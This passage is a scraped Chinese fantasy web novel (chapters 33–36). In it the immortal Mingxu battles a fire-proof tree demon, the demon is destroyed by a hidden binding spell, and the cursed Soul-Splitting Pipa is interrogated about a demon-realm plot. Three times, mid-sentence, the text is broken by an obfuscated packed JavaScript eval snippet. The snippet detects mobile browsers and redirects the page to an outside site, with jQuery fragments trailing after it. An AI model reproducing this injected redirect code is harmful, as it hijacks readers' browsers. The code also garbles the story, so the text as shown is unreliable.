那根原来停在她肩头上的完美树枝此刻如离弦箭般疾射而出,伴随着一声沉闷的撞击声,轻而易举地扎穿了百米外那棵三人合抱的巨树。 明煦收回掷出树枝的手,满脸警惕地环视着四周,一把闪着凛凛寒光的长柄刀也随之出现在她手中。 “这么轻易就把好不容易找到的树枝给扔了?”伴随着从鼻间逸出的轻笑,一道有些轻佻的男子声音从那颗被扎穿的巨树方向传来,“燃乐仙姬可真是一点都不爱惜宝贝呢。” “一根树枝而已,想要多少有多少。”明煦面无表情,“但你如果再这么藏着掖着阴阳怪气,我倒是很想知道究竟是那根树枝硬,还是你的命硬。” “哦?仙姬这么着急想见我?”那声音仿佛更轻浮了些,隐隐地还透着股仿佛被淬过的毒意,“可为什么不拿自己的命去比到底谁更硬呢,不敢?” 明煦最烦这种磨磨叽叽的腔调,大大地翻了个白眼转头就要走,然而就在这转身的一瞬间,那颗巨树却突然直挺挺地冲她呼啸而来。 明煦早有所料,回身一刀将那树干净利落地斩断,嗤笑道:“你就这点水平?” “别急呀仙姬。”那不知从何处传来的声音依旧不紧不慢地调笑着,“好戏都是在后头才登场的。” 明煦大为不解:“你这点三脚猫的功夫也好意思说是好戏?” 然而未等她话音落地,诸多沙沙的声响便猛地在她耳边炸了开来。 33.针对 明煦扭头一看,竟是许多树木正急速向自己合围而来,无数根枝条宛若无数根利剑笔直地伸着,稍有不慎便会被扎个透心凉。 她见状立即纵身一跃,像一只小鸟一般轻盈地落在了一颗树冠较为圆滑的树上,对着下方大声喝道:“小小树妖休得装神弄鬼,当心我拿你性命!” “小小树妖?”那声音有些气急败坏,“你个小丫头片子,真是太过轻狂!我化形在天地之间时,你燃乐仙姬还只是个小小火苗呢!” 他话音刚落,无数藤蔓如蛇般从四面八方向明煦飞速袭去。 那些藤蔓也不知生长于何处,周身竟环绕着密密麻麻的尖锐小刺,撕打间将其他藤蔓勾住、缠绕、扯断也不罢休不停止,目标极为明确地直奔明煦而去。 明煦见状大刀一挥,唰唰几下砍断数根离她最近的藤蔓,雪白的刀尖随着她的动作甩出了无数火星,周围的树木和藤蔓瞬间被点燃,方圆百米内登时化作了一片火海。 她立于一根燃烧着的火柱之上,对着那树妖传出声音的地方大声道:“脑子不好就趁早去治病,你一个树妖来袭击我这个擅长火法的神仙,到底是谁给你的勇气?” “勇气?”那树妖哈哈大笑,“对付你,还用不上勇气!” 它的声音狂妄至极:“燃乐仙姬不妨仔细看看自己脚下,看看刚才的法术究竟有没有用?” 明煦低头一看,只见自己脚下的树木和藤蔓在熊熊烈火中竟毫发无损,反而像被施了丰富的肥料一般恣意生长,变本加厉地往她腿上缠去。 几根长得快的此时已经缠进了她的小腿,尖锐的倒勾刺扎进她的皮肤里,狠狠咬住不肯放开。 而随着火势的不断蔓延,其他被火苗燎起来的树木也体型暴涨,张牙舞爪地加入了攻击她的行列。 这树妖好像确实有点古怪。 明煦皱眉。 不过没关系,就算这些玩意儿以火为养分又如何,降点雨不就完事了? 她一边龇牙咧嘴地忍痛将缠上来的藤蔓砍断,一边连连催动法力降雨,可过了好半天也不见半滴雨水落下。 明煦陷入了深深的自我怀疑。 就算我平时修行再不用心,唤雨术这么简单的法术也不至于记错吧?! 她不由自主地往天上看去。 原本万里无云的晴朗天空中不知何时出现了一片灰色的云彩,一只暗棕色的眼睛隐匿其中,正不怀好意地凝视着明煦。 见自己被抓了个正着,那眼睛眨了眨,一道狂风随之平地而起,将这本就炽烈的山火铺得更加猛烈。 一山的花草树木得了火焰的润养,燃烧得更加旺盛,扭动得也更加剧烈。火势迅速蔓延,转眼间就烧到了明煦要找的那只松鼠精所居的山洞门口。 明煦见状大急,一个翻身便进了山洞,却在进洞的一瞬间被什么吊在洞口的东西撞到了头。 是一只已经僵硬了的松鼠。 明煦登时感觉自己眼珠子都要和这松鼠一样硬了。暴烈的怒火在她胸腔中倏然炸开,打着旋地冲上了头。 她的线索!!! 她好不容易找到的,手里唯一的线索!!! 她带着摧枯拉朽般的怒气狂奔出洞,如破空流星般直冲云霄,不由分说地将那朵灰色的云狂砍一通,然而那只棕色的眼睛却早已消失得无影无踪。 明煦气得呼吸都急促起来了,刚要破口大骂,心头却突然福至心灵般闪过一个念头。 她刚一调查到松鼠精的住处,它就在这个关键当头惨遭毒手,这说明什么,这说明她查的方向再正确不过了! 想来若是那松鼠精还活着,一定会吐露出不少线索,所以那幕后黑手才急匆匆地派这树妖前来灭口,又意图将她也一起杀掉以防秘密泄露! 想清楚了这其中关节的明煦心头一喜,多少减轻了一点点自己唯一的线索再也无法开口的愤怒。 她立在山尖,对着脚下已经变成一片火海,却仍然生机勃勃地往上窜着的密林冷声道:“怎么,你背后的主子连一点保密措施都没有,查到谁就杀谁是吗?” 无数树叶缓缓升起,明暗交错间形成了一张阴鸷狠戾的脸。 明煦“嘶”了一声,极为诚恳地开口道:“哥们儿你要真长这样的话,那之前一直不露脸我就理解了。你说你好歹也是有这么多年修为的大妖了,多少也该学一下易容术吧,这对你又有什么害处呢?” 那些数不清的树叶在空中悬了一瞬。 只有一瞬。 紧接着那些密密麻麻的树叶遮天盖日般地向明煦激射而去,树叶边缘锋利得宛如世间最快的匕首,只要一不小心擦着了边便能割开一道深可见骨的口子。 明煦一边在这纷飞四溅的树叶刀雨中身形极为漂亮地左腾右挪,一边仍大肆嘲笑道:“你看你,说点儿实话而已,怎么还生气呢?我看那松鼠精身上好像也没什么外伤,所以它到底怎么死的,不会是看见你的脸之后就被丑死了吧?” 那树妖被气得喘了几口粗气,愠怒道:“小小仙姬,自己死到临头了还在关心别人的死法。你以为你今日逃得过吗?” “你搞这么大动静,我就算不想逃过也很难吧,”明煦挥刀甩退一大簇树叶,“这山里可住了不少妖族,你把人家好不容易筑的巢建的房子都烧了,你以为接下来会跟你算账的只有我一个?” “哦?”树妖发出一道极为阴冷的冷哼,“那他们也得有命说才算啊。” 明煦愣了一瞬,一片树叶从她耳畔刮过,带走了一缕乌黑的发丝,也留下了一处小小的血痕。 她下意识地问道:“什么意思?你不光杀了松鼠精?这山上所有的小妖,你都……?” “自然啊,”那树妖讥讽道,“你这仙姬,真是蠢笨得要死,我既要来杀你,又怎会留下人证?” 明煦眉心拧成一团。 怎么回事,听这树妖的意思,它竟不是为了灭口松鼠精而来,而是专门来杀她的? 这又是为了什么?自己也不认识这树妖啊?其他的树妖也不认识啊?她到底什么时候做了这么遭人恨的事儿,让人家不惜搭上这么多条无辜的性命也要杀了她? 想杀她不要紧,可怎么早不来晚不来,偏偏在这个时候来? 那松鼠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14137381|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精是承安郡福运交易的中间人,手里攒着大批福运,更别提还能提供给她多少有价值的信息,怎么可以就这么不明不白地死了? 而且它攒的那些福运到底是怎么攒的,现在又在哪儿,不会也一把火烧没了吧? 还没等她理清这些像小泡泡一样不断咕嘟上来的纷乱思绪,无数颗巨木伴着阴冷的腥风,鬼影憧憧般向她碾压而来。 明煦下意识地甩出一道火墙想做阻挡,却忘了这树妖法术奇特全然不怕火焰,那一棵棵树木反倒像一枚枚燃着的巨大箭矢般穿过火墙,不断随着她的后撤钉入她脚下的地面。 对于想不明白的问题,明煦一向采取的策略便是不想。 她站在火墙后,索性直接问出了她目前唯一关心的问题:“所以那松鼠攒的福运呢?在你手上吗?” “什么福运?”那树妖仿佛被问住了,攻击的速度也不由得慢了下来。 就在这个转瞬即逝的当口,明煦当机立断一个翻身跃上云间,拄刀大笑:“哼,你以为不用火,姑奶奶就治不了你?!” 她刀尖一指,翠岚峰立即以一种恐怖的幅度剧烈震动起来,地面像是被无形的大手残忍撕扯着,一股股炽热的岩浆从这些被撕裂的伤口处喷涌而出,将山头上的一切迅速淹没。 灼热汹涌的岩浆坚定地漫了过来,缓慢温柔却又不容拒绝地包裹住一切存在。 那些原本向明煦攻来的巨木、树枝、树叶,此刻均被迫接受了这个沸腾的拥抱,变身成灰黑色的飞尘,随着逐渐冷却下来的岩浆,凝固成了无数沉默的岩石。 明煦眯起眼睛,全神贯注地盯着正在四处漫延的岩浆,果不其然在几块乱石之间发现了一道正艰难移动着的身影。 她冷笑一声,自云端纵身一跃,带着千军万马的气势将长柄刀狠狠砸了下来,直接劈碎了那树妖的一条胳膊。 “我最烦你们这种打架不爱露面的,”明煦的声音清晰地从树妖撕心裂肺的嚎叫中传出,“鬼鬼祟祟畏畏缩缩,也不嫌自己下作?” 那树妖仿若未闻般兀自嚎叫着,吵得明煦头都大了。 她无奈地舔了舔嘴唇,正在思考应该怎么把它羁押回去,却不料那树妖突然转身回头,一道浓烈的绿色雾气从它口中喷射而出,直中明煦面门。 明煦猝不及防地吸进去一大口绿雾,顿觉一股腐烂的气息侵入她的体内,瞬间便让她浑身都开始剧痛,仿佛每一寸皮肤都正在被噼里啪啦地灼烧。 她急忙跃上云端,拼命催动体内的法力想要把这疼痛平息下去,却发现疼痛却随着法力的流转变得愈发剧烈,甚至五脏六腑都开始产生了被啮咬啃食的浓重痛楚。 那树妖的断臂处仍在不停地往下淌着淡绿色的汁液,可它此刻却如全然不在意一般,只是兴奋地盯着明煦,声音犹如淬了毒般阴冷:“你本可以死得利落点,却非要把我一步步逼到这般田地,如今此种境况只能怪你自找。最后再送你一个忠告吧,别再动用法力了,多少让自己死得体面些。” 言罢它转身欲走,然而电光火石间一股油然而生的寒意爬满了它的后背,想要躲避却已来不及。 34.压迫 一道寒芒带着凌厉的风声疾射而来,伴随着一声沉闷的重击,那把曾被明煦紧紧握在手中的长柄刀精准地扎穿了树妖的胸膛,将它稳稳钉在原地。 明煦紧咬着牙,摇摇晃晃地从云端跃下,疼得连太阳穴都鼓起来了。 她站在原地喘息了一阵,开口道:“你以为不能用法术,我就只能可怜巴巴地等死?我告诉你,姑奶奶光凭这一身好武艺,照样能把你结结实实地拍进地里!” “不过嘛,”她得意地伸出自己闪烁着淡淡青色光芒的掌心,“好将军,可从来不打没有准备的仗!” 她刚要捏紧自己的拳头,一阵摧枯拉朽的狂风突然拔地而起,直吹得明煦完全睁不开眼,只是敏锐地感觉到自己身边方圆至少千步内的所有东西似乎都被这道肃杀的磅礴法力一扫而空——除了那个还被她的长柄刀钉在原地的晦气玩意儿。 随着一道温暖熟悉的气息的靠近,明煦身上的疼痛也立即消失得无影无踪。 她睁开双眼,果不其然看到了青晏那张好看的脸,只是此时那张脸上充斥着明煦从未见过的,极为复杂的神情。 担忧、焦急、愤怒、心疼、内疚,甚至如果明煦没看错的话,还有一丝丝恐慌。 害什么怕呀,我这不是好好的吗? 她的手掌仍不解地悬在半空中:“哎?我还没喊你呢,怎么就来了?” 青晏面寒如霜,沉声道:“这么剧烈的法力波动,我怎么可能觉察不到?” 她轻轻地抚了抚明煦的后背,随即向那刚鲜血淋漓地从明煦的刀中挣脱出来的树妖投去了一个彻骨至极的眼神。 那只是一个不包含任何法术的眼神,然而目睹了刚才那一切的树妖却顿时如遭雷击,浑身仿佛被无形的锁链骤然收紧,令其连呼吸都变得异常艰难,不敢再动弹一步。 它看得清楚,后来出现的这位神仙完全没使用任何法术,只是单纯地释放了自己的法力以进行警告,然而自己不仅在千钧重压下完全无法感知到对面这位神仙究竟有着怎样的修为,就连直觉也告诉它万万不得轻举妄动,否则…… 树妖委顿在地,不由自主地发起抖来。 明煦活动了一下自己已全然自如的身体,凑过来对青晏道:“别担心,问题不大,我这么多年辛辛苦苦修习武艺为的是什么呀,为的不就是对付这种以为没了法术就能把我揉圆捏扁的狗东西?你不来我也不会有事儿的。” 她将手心摊给青晏看:“你看,这不是连你那道保命的法诀都没触发吗?这树妖不足为惧,就是可惜了的就是这满山头的生灵,还有那个本来可以给咱们提供不少线索的松鼠精……” 青晏面色稍缓。 明煦看着青晏走到那树妖面前站定,用一种打量什么破烂物件的眼神盯着它看了一会儿,然后用一种此前自己从未听过的,带着极强压迫感的平淡语气开口道:“是谁,给了你什么好处。” “我不知道,我真不知道,求仙子饶命!”那树妖胡乱地哀求着,竹筒倒豆子般地交代起来,“是我的一个老熟人找上我的,它知道我修行特殊,不怕火,说有大能想要雇我行事。” “说只需诛杀法力远不如我的一个小仙,便可得足足三千年修为的顶级灵石。那熟人说,大能为表诚意,先给我一千年修为的灵石,其余的事成后立即补上。” 明煦眼睛瞪了起来:“什么叫法力远不如你的一个小仙?你骂谁呢?!” 她忿忿地从鼻间喷出一口气,为自己的命在那人眼中居然只值三千年修为的灵石感到不服。 那树妖咽了咽口水,决定还是不回答明煦这个问题为妙。 它脸上挂着讨好的笑容,继续道:“那等成色的顶级灵石我连见都没见过,所以我……我贪图修为,竟鬼迷心窍地应下了。燃乐仙姬的名讳、功法及来历,都是那大能告诉的我那个老熟人,它又转述给我的,我之前从来没听说过您,绝对与您没有私仇啊!” 青晏纹丝不动:“给你的顶级灵石,在哪。” “已经没有了……”那树妖缓缓缩起脖子,“毕竟是要对神仙下手,我为了更稳妥一点,早就炼化成修为了。” “那你的老熟人还说了什么别的?”青晏貌似漫不经心地转着突然出现在她手中那面泛着冷光的华美镜子,“比如,那个大能是因为什么要对她下手?” “肯定是因为福运的事咯……”明煦嘟嘟囔囔地,“我这么和善友好的一个人,从来没干过什么遭人恨的事,怎么会有仇家想要买凶杀我呢?” 青晏一言不发地盯着树妖,眉眼里多了几分令人胆寒的锐利。 树妖赶紧道:“别的没说过,再说这个……也不太好张嘴问的。但我真不知道什么福运的事,别人做的事可不能混算在我头上啊!” 明煦幽幽道:“不管你知不知道,现在就是你,把我们查到的唯一一条线索给杀了,你当如何呢?” 那树妖呆滞了一瞬,随即哀哀道:“那个什么福运的事,我也可以一起查啊!我也有我的人脉,你们能用得上我的,我保证用心查!” 青晏与明煦交换了一个眼神,然后道:“除了这个之外,我还有一件更重要的事要你去做。” “您说,您说!”树妖连连点头。 青晏俯下身子:“问出那个买你动手的大能是谁,我便放你一条生路。” “可……”那树妖面色居然为难起来,“那人做惯了这种牵线搭桥的事,嘴巴严实得很,从不向人透露半点风声,我不知道……” 青晏垂了垂睫。 树妖登时浑身一激灵,立即道:“不过,不过我们毕竟相识多年,想打听些什么应该也是能打听出来的,毕竟之前我们喝酒的时候他就喝多说漏了嘴,说那大人物来找他时还带着……” 它的话音戛然而止。 取而代之的是一阵响彻天地的树叶簌簌。 那树妖的身躯开始剧烈地扭曲起来,转瞬化作了一棵枝叶狂舞着的参天古树。它最后时刻一闪而过的面容上,以及每一寸不受控制地绽出的树皮都在颤栗着散出绝望与恐惧的气息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14151400|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “轰!” 那颗不住颤抖着的参天古树在青晏和明煦眼前震耳欲聋地炸裂开来,无数碎片飞溅而出,化作漫天齑粉随风四处散落。 竟就这么轻易地灰飞烟灭了。 明煦手中长刀立即现出寒光,身形急转,目光如炬地扫射着四周,而青晏却对她摇了摇头:“别担心,周围没有其他人的气息。” 明煦这才将刀收了起来,惊魂不定道:“没有其他人的气息?那这是怎么回事,问几句话而已,不至于自我了断吧?” 青晏眼眸微转,片刻后缓缓开口道:“不是自我了断。这树妖身上应是被下了道极为强悍的禁制,无论何时,无论何地,只要透露出哪怕一丝和自己相关的信息,便立即令对方灰飞烟灭的禁制。” “这么猛?”明煦咋舌。 青晏低头盘算着,面色凝重。 这种法术实施起来极为不易,尤其是用在像今日这种法力本就不低的妖族身上。 若想成功下出这样致命的禁制,除了需要一种极为稀有的材料渡生藤之外,施术者的修为也最少要在受术者的两倍以上。 方才听明煦转述,那树妖自称化形时明煦还只是火苗,所以它的修为应该至少有一万年。 也就是说,加上他方才炼化的一千年修为的灵石,想杀明煦的人,至少有两万两千年修为。 “这么牛的人,要杀我不亲自来杀,还拐弯抹角地找了一个水平也就那样的妖族来,这是何必呢?”明煦百思不得其解,“他老人家是不方便来还是怎么的?” 青晏想了想:“既有可能是身份使然不方便亲自前来,也有可能是他其实也没有把握自己亲自出手就一定能将你灭口。否则如果你一旦活下来,对那个人来说岂不就是活生生的隐患?” “但……都有两万多年的修为了,打我不就是顺手的事儿?” “你的法力没有你自己想象中那么差,”青晏拍了拍明煦的肩膀,“好了,还是先回去吧。不管是谁因为什么要对你动手,如今这里都不适合久留。我们也得告诉颜故和唐禾一声,让他们也提高警惕。” 明煦点头。 ------- “什么?!”唐禾猛地站起来,手心拍在桌上发出的声音响到连颜故都为之侧目,“太猖狂了,这太猖狂了,我们必须得和妖界讨个说法!” 明煦向后微微一仰:“嘶,傻孩子使那么大劲儿,手不疼?” 她转向青晏,不太确定地问难道这种某个道德败坏的妖族私下接的活,也是可以找妖界算账的吗? 青晏端坐在椅子上,语调淡然:“这个要看情况。你如今并无大碍,所以我可以只是简单地去告诉一下妖皇他有多幸运。” “谁?谁幸运?”明煦怀疑地指着自己,“不应该是我幸运吗?” “他很幸运,是因为你还活着,且未遭受任何难以挽回的重创,”青晏面色如水,“否则不仅天妖两界数万年来的和平共处将荡然无存,我本人亦会保证妖界从此再无安宁。” 35.问话 房间里顿时静了一瞬。 “不至于,不至于。”明煦赶紧搂住青晏的胳膊,“我这不是还活得挺好的嘛,区区树妖不足挂齿,你就是没来我也能搞定他,别生气。” “这次的树妖不足挂齿,下一次呢?下下次呢?”青晏的语调平静极了,“所以最简单的办法还是让整个妖界都明白,这笔生意做不得。” 她声调一直没什么起伏,神情看起来也是泰然自若的,可房间内那股油然而生的压迫感和一直萦绕在她身上淡淡的寒意却始终让人无法忽视。 生气了,这是真生气了,明煦在心里为妖皇捏一把冷汗。 她赶紧转动脑筋:“嗯……不过只要找到背后那个想杀我的人不就行了?没了这个人的话,其他人也不会自己莫名其妙跑过来杀我吧。” 颜故停下方才一直在桌沿来回摩挲着的手指,抬眼道:“或许还有另外一种可能。” 其余三人齐齐看向他。 “仙姬遇袭,不是因为私仇,”颜故眸色有些暗,“而是为了挑起天妖两界争端。” 青晏闻言瞳孔一紧。 可明煦却还是不太明白:“那这样的话,也应该优先杀青晏呀,杀我这么个在天界一抓一大把的小角色有什么用?再说就算不好对青晏下手,杀了你们俩其中任何一个不是也能达到一样的效果吗?杀你们还更容易点呢。” “不,绝对不会是一样的效果。”颜故斩钉截铁。 他们二人刚刚升仙,法力稀薄,游历中被不知深浅的恶妖袭击乃是正常现象,即便不幸遇害也不会轻易动摇天妖两界的数万年和平。 而若是像明煦这样一个已有万年修为的仙姬遇害,出手的便绝对不会是什么等闲之辈,也无法用偶然失手、并非本意等言辞搪塞过去。 “这样一来,妖界没有办法干干净净脱身,况且……”他望向青晏,“届时就算天界不大发雷霆,仙子定然也会在妖界掀起滔天波浪,对吗?” 青晏的面容冷峻得像一把泛着银光的锋利匕首。 颜故得到了自己了想要的答案,继续分析道:“所以此次袭击一旦发生,无论得手与否,对天妖两界的数万年和平都必会产生影响;而若是仙姬真的遇害,则天妖两界将必掀血雨腥风。届时渔翁得利的究竟是何方神圣,怕是不难猜吧。” “哇,颜故你小子脑袋转得真快,这么熟悉的手段,想不第一个怀疑魔界都难。”明煦摸着下巴,露出一个又赞叹又困惑的表情,“你怎么总能想到这么刁钻的角度?” 她又像突然想起来什么一样一拍掌,对青晏道:“说到魔界,那死琵琶在你镜子里怎么样了,老实没?要不然拎出来问问话吧,说不定它能知道点儿什么魔界的阴谋诡计呢。” 青晏算了下时间,确实可以把琵琶叫出来一问,随即设下一个很是强劲的固封结界,然后将已经在玄元镜内沉睡了许久的裂魂琵琶放出。 被放出来的裂魂琵琶躺在桌面上一声不吭,完全没有了牢房初见时的那股嚣张劲儿,就连曾经光鲜亮丽的漆面也仿佛笼罩上了一层淡淡的灰雾,不复往日光泽。 明煦敲敲它的面板:“在?” 琵琶还是沉默。 青晏慢悠悠地举起玄元镜:“既然没话说,那便回去吧。” “在,在!”小孩子的声音不耐烦地响了起来,“你们神仙怎么这么爱说废话,我都已经在你们面前了,还要问在不在?我倒是想不在!” “小孩子家家哪儿来这么大脾气,”明煦弹了琵琶面板一个脑瓜崩,“问你点儿事儿,好好说啊。” “哼,好好说你们就能放我走吗?” “那必然是不可能的,想什么呢,”明煦耸耸肩,“但我猜你如果好好配合的话,接下来你能待在什么样的幻境里,还是有的商量的。” 琵琶安静了好一会儿,这才不情不愿地从牙缝里挤出一个“嗯”字。 “那么问题来了,”明煦打了个清脆的响指,“你之前不是一直被封印在魔界吗,是怎么来到人界的?” “这可不是我不配合你啊,”琵琶懒洋洋地拖长了声音,“关于这个问题,我也很纳闷呢。” 按它的话来说,自己本一直在魔界迷境那永世的黑暗里沉睡着,可突然有一天却被阳光晃醒了。过了好一会儿它才咂摸出来,自己已不再被困在魔界中,而是来到了人界。 它被放在一家乐器坊里,身边不停有人来来往往叽叽喳喳,烦得它想把他们都杀了,可又没办法,毕竟魔尊风烬给它加的那道封印还牢牢地锁在它身上。 不过它很快就被人买下带回了自己府里,之后就一直在这家人手里传来传去。妈妈留给女儿,女儿再留给自己的女儿,就这么过了大概一百多年,而在此期间,它的力量也逐渐恢复了一点点。 听到这,颜故打断道:“怎么恢复的?” 琵琶漫不经心道:“只要是人就会产生恶念,不过有多寡之分罢了,只需要日积月累,慢慢吸收就行了呀。” 颜故又问之后它的周遭有什么变化,琵琶闻言发出了一道像是从鼻子里哼出来的短促笑声。 “你们已经见到了那个对我来说唯一的变化,那个叫秦德音的小姑娘,或者是按照你们的习惯,该叫她柳滢容。” 琵琶陷入了一种对它来说很奇特的,名为想念的情绪。 说来也奇怪,那个小姑娘在她娘没死的时候倒是没什么特别的。可等自己被人偷走,再由齐王那傻小子从别人手里买回来的时候,她周身散发出的那种痛苦、心碎、彷徨的气息实在是…… 太甘美了。 它忍不住想要更多更多。 琵琶嘻嘻一笑:“所以我就把她娘死亡的真相告诉她咯。” 果然不出它所料,小姑娘心中那股强烈到想把一切都撕碎的恶念太浓烈了,浓烈到它的封印都又跟着松动了一点。 琵琶的语气越来越兴奋:“跟她在一起待着的时间越长,我感觉就越轻松,就好像……她是专门为了解开禁锢在我身上的这道封印而生的一般。” “你可要点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14162264|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿脸吧。”明煦忍不住道。 琵琶还沉浸在那段对它来说快活得要命的回忆里,对明煦毫不客气的言辞也不在意了。 当时的它好想和她沟通,好想让她再努力一点,可那道该死的封印始终压着它,除了吸收恶念之外它还是什么都做不了。 不过它的好姑娘啊……真是太懂事了。他们两个简直像心有灵犀一样,都不用它开口,她心中就生出了想要杀人的恶念。 有了这么明确的指令,自己终于可以成功释放诅咒,用被诅咒者的性命来增强自身力量。 这样的恶念越来越多,越来越多…… 终于,它可以亲自与她沟通了。 它的声音欢欣极了:“而她没有让我失望,很快便明白了我给她指的是一条明路,一条可以很轻松地完成我们两个各自心愿的路。” “当然了,我所得到的可能比她付出的要多,所以我很愿意为她复活她娘,即便这样也会消耗我自己的很多力量。”琵琶一想到这事儿就开始不服气,“所以那天说不定我是因为力量被消耗太多了,这才被你们打败的。” “明路?”唐禾终于忍不下去了,“你所说的明路,指的就是柳滢容最终自尽以换母归,而她娘最后也死于仇恨的烈火中这条路吗?” 琵琶冷笑道:“这要怪你们神仙自己啊,如果不是你们非要横插一脚,小姑娘早带着她那成功复活的娘,还有那个对她痴心一片的傻小子不知道上哪儿隐居去了。是你们非要把这桩美事搞得一团糟,现在还想赖到我头上?” 唐禾被噎得够呛,眼睛里快要冒出火光:“什么叫横插一脚,我们如果不管的话,你解开封印之后会死多少人?恐怕要以成千上万计了吧!” “这就是你想象力的上限?你也太瞧不起我了。”琵琶忿忿道。 许久没有作声的青晏突然开口:“除了柳滢容想杀的那些人之外,你自己主动杀过人吗?” “当然杀过啊,”琵琶漠然道,“大概有那么二三十个吧。” 青晏微微垂下眼帘。 只有二三十个?可承安郡内的异常死亡足有上百例,就算将琵琶与柳滢容的手下亡魂加在一起,也远远达不到这个数目。 不过她面上没有展露出任何端倪,只继续淡淡问道:“为什么要杀?” 琵琶又响亮地“啧”了一声:“还能因为什么,当然是因为我需要恢复力量啊。虽然说还是恶念最对我胃口,但人命的效果也还算不错,所以我一到能动手的时候便动手了。” 它的语调又不耐烦起来:“就说你们神仙废话多,杀了就杀了,哪儿有什么原因?我一个魔界最强至宝,杀人还需要原因?算他们倒霉好了!” 青晏并未理会它突然冒出来的情绪:“除了你之外,还有没有其他法宝也在做类似的事情?” 琵琶听起来更烦躁了:“这我怎么可能知道?” “你作为魔界最强至宝,”青晏着重强调了琵琶方才自我评价的那几个字,“难道感应不到其他的法宝么?” 36.妖界 琵琶再次沉默。 好一会儿它才瓮声瓮气道:“感应不到又能怎么样!” “一般法宝感应不到的话是没什么,但既然是最强至宝……”青晏停下话音,故意宽慰着它,“啊,不过你诞生的时间确实比较早了,说不定魔界此刻已经有了新的最强至宝,你做不到也是可以理解的。” 琵琶被气得呼哧带喘:“我之前一直被封印着!好容易解开了又被你丢进幻境里压制了力量!你让我怎么感应!啊?!” 青晏拄着下巴。 居然短短几句话就能被气成这样,看来是真不知道。 “那换个话题吧。”青晏悠然道,“你知不知道,魔界里有没有什么能引起天灾的法宝?” “不是我真就不明白了你不是已经知道我是怎么诞生的了吗?!”琵琶听起来快要崩溃了,“那你应该知道我刚一有了意识就被封印起来直到最近才遇见你们吧那你让我上哪儿知道魔界到底还有没有其他什么功能的法宝!!!” “可是……”唐禾犹豫道,“既然你不知道魔界都有什么法宝,那你怎么知道自己是最强的那个?” “是她说的啊!她说我是魔界五大至邪法宝之首!而且我这么强,怎么可能不是最强至宝?!”琵琶尖叫。 “行了行了,别激动。”青晏摆摆手,“最后再问你一个问题。” 琵琶好像已经失去全身的力气,重重呼出一口气。 青晏向前倾着身子,目光灼灼地紧盯着琵琶,手指平稳地指向了一旁的明煦:“如果你想杀她,会怎么杀?” “这又是什么奇怪问题……”琵琶嘟哝着,“你把对我的压制解了,我立刻就能杀了她。” 青晏眼睫微动,略略松了松对琵琶的压制:“不许用诅咒,单纯感应一下最容易杀她的方式。这点小事,你还是能做到的吧?” “我以后再也不要和你们神仙打交道,”琵琶气得又从鼻间喷出一口气,“怎么,又有别的魔界法宝动手了?但你们不知道是什么,所以拿我在这一点点试呢?” “别问,”青晏微微歪头,“照办。” 琵琶嘀嘀咕咕了一大串类似“人在屋檐下不得不低头”、“好汉不吃眼前亏”的话,紧接着周身泛出淡淡的光晕来。 半晌后它硬邦邦道:“小丫头身手不错但法力很一般,直接用高过她的法力压过去就行了。” 明煦闻言撅起嘴来。 青晏仍在思忖着,琵琶又不屑地“哼”了一声,讥讽道:“真不知道动手的人是怎么想的,杀她能有什么用?她有什么值得杀的?天界多她一个不多少她一个不少,换我肯定就去杀你,好歹让天界少个厉害人物。” 青晏闻言眉尖微微一蹙。 明煦“噌”地一下站起来:“哎不是你这话说得就很难听了我惹你了吗我怎么就不值得杀了?” “争什么呢?”青晏稀奇地抬眼看她,“还是什么好事不成?” 明煦气呼呼地坐下,抬腿踹了一脚放着琵琶的桌子泄愤。 青晏本想将琵琶收回镜中,却忽地想起那天月夜下对颜故的承诺——让他在琵琶脆弱的心灵上愉快撒盐。 她朝颜故递去一个探询的目光,右手三指向下微微一捻,做出一个撒盐的姿势。 颜故瞬间领会了青晏的意思,对着琵琶露出一个和蔼的微笑:“这么多天过去,你那因为自己幻境被破所受的反噬之伤,如今可有改善吗?” 青晏手中的玄元镜在琵琶恼羞成怒的鸣叫声刚起之时便再次放出光芒,不由分说地将其压回镜中。 没了它的大喊大叫,客舍里一下子变得安静起来。 明煦长长地叹出一口气:“真是一场酣畅淋漓的什么都没问出来的问话,它怎么什么都不知道啊。” 青晏若有所思地托着下巴。 其实也不算全然没有收获,起码知道了还有不少异常死亡是死于其他力量之下,而魔界也必然正在谋划着些什么,只是目前他们还看不懂罢了。 就比如,把裂魂琵琶从魔界带出来绝非易事,如此大费周章之后却仅仅是将它简单搁置在人界,连封印都不解,图的是什么? “想不通。”明煦干脆利落,“就像我也想不通到底是谁、为了什么要杀这么可爱友好的我。” 青晏轻飘飘地移开眼神:“想不通就别想了,我们去趟妖界吧。” 